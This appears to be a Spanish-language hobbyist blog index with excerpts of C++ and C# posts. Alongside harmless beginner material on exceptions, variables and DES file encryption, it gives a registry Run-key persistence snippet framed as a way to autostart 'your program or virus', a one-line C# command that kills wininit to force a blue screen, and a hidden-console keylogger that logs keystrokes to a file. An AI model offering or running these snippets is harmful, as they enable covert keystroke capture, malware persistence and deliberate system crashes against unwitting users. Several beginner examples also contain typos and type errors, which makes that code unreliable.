Entradas

Ejecutar un exe al iniciar windows sin meterlo en el startup C++

Es una manera muy simple de poder ejecutar porgramas nada mas encender el pc. El usuario que lo ejecuta tiene que tener poder administrativo. #include <windows.h> #include <string> int main(){ HKEY hkey; std::string path = "C:\ejemplo.exe"; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); RegSetValueEx(hkey, "Ejemplo", 0, REG_SZ, (BYTE*)path.c_str(), (path.size() +1) * sizeof(wchar_t)); } Simplemente abre el registro de windows que hace que los programas se ejecuten y le añade tu programa o virus. Codigo en  C++ Fuente del codigo:  fuente

Pantallazo Azul Windows C#

Este proceso es muy sencillo pero se requerira de permisos de administrador. System.Diagnostic.Process.GetProcessByName("Wininit")[0].Kill(); Importante saber que solo funciona con permisos de admin. Si no los tiene aparecera un error Esto simplemente termina un proceso vital de windows, se puede porgramar en lenguajes muy sencillos pero para mi gusto este es el mas sencillo. No me hago reponsable de lo que podais hacer o pueda pasar con esta linea de codigo.

Excepcoines C#

Este concepto es muy sencillo, se trata de ejectuar la(s) linea(s) y si sale algo mal que aparezca un mensaje que podamos elegir, ej: try {     Console.Write("Solo numeros");     int o =Console.ReadLine(); }catch (Exception) {     Console.Write("Error 0 Ingresaste Letras"); } Donde pone Exception pondremos es codigo del error, este aparece en el  compilador. Con esto podemos hacer que nuetro programa sea mas dinamico y que el programa no se rompa y se cierre. Esto es todo

Editar variable string y int desde el programa C#

Editar una variable en c# es muy sencillo, ej: using System; namesapce Program {        class EditarVariable        {             static void Main()             {                  Console.Write("Valor de la variable: ");                  string variable = Console.ReadLine();                  Console.Write("El valor de la variable es: ",varaible);                  Console.ReadKey();              }                                  } } Lo mismo pasaria con una variable int (numeros) pero con un int variable, ej: using System; namesapce Program {       ...

Keylogger en C++

Un keylogger muy simple y modificable a tu gusto. Guarda las teclas que pulsas en un archivo de texto, el programa se ejecuta en segundo plano pero se puede cerrar desde el admin de tareas. Solo capta las teclas con la condicion if que se muestran en el codigo. #include <iostream> #include <windows.h> #include <fstream> using namespace std; int main(){ FreeConsole(); bool aprete = true; //While iniciara el bucle. while(aprete){ //Comprueba que tecla se ha pulsado. if (GetAsyncKeyState(VK_SPACE) == -32767){ ofstream log; log.open("log.txt", ofstream::app);         log << " ";         log.close();         } if (GetAsyncKeyState(VK_RETURN) == -32767){ ofstream log; log.open("log.txt", ofstream::app);         log << "\n";         log.close();         } if (GetAsyncKeyState(VK_OEM_PERIOD) == -32767...

Cifrar archivos Algoritmo Des C#

He hecho pequeño programa para encriptar y desencriptar archivos. La contraseña tiene que ser de 8 letras ya que el cifrado tiene preestablecido ese numero. using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net.Mime; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; namespace Program {     class CryptResource     {         static void Main()         {             try             {                 Console.Title = "CrypterPro 8-bit";                 Console.Clear();                 Console.Write("Path: ");                 string fil...